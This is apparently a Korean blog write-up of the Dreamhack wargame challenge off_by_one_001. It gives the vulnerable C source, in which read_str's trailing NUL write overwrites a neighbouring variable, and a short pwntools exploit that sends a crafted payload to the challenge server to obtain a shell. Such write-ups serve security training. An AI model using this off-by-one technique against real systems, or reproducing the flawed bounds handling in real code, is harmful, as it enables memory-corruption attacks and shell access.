off_by_one_001 본문
https://dreamhack.io/wargame/challenges/10/
off_by_one_001
Description 이 문제는 서버에서 작동하고 있는 서비스(offbyone_001)의 바이너리와 소스 코드가 주어집니다. 프로그램의 취약점을 찾고 익스플로잇해 get_shell 함수를 실행시키세요. 셸을 획득한 후, "fl
dreamhack.io
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler()
{
puts("TIME OUT");
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_str(char *ptr, int size)
{
int len;
len = read(0, ptr, size);
printf("%d", len);
ptr[len] = '\0';
}
void get_shell()
{
system("/bin/sh");
}
int main()
{
char name[20];
int age = 1;
initialize();
printf("Name: ");
read_str(name, 20);
printf("Are you baby?");
if (age == 0)
{
get_shell();
}
else
{
printf("Ok, chance: \n");
read(0, name, 20);
}
return 0;
}
read_str()이 문자열 뒤에 NULL을 붙이는 것을 이용한다.
exploit code
from pwn import *
p = remote("host1.dreamhack.games",14093)
pay1 = b'\x90'*20 + b'\x00'
p.send(pay1)
p.interactive()
'wargame > DreamHack' 카테고리의 다른 글
sint (0) | 2021.11.30 |
---|---|
out_of_bound (0) | 2021.11.28 |
Dreamhack - off_by_one_000 (0) | 2021.11.15 |
Dreamhack - basic_exploitation_003 (0) | 2021.11.03 |
Dreamhack - basic_exploitation_002 (0) | 2021.11.03 |
Comments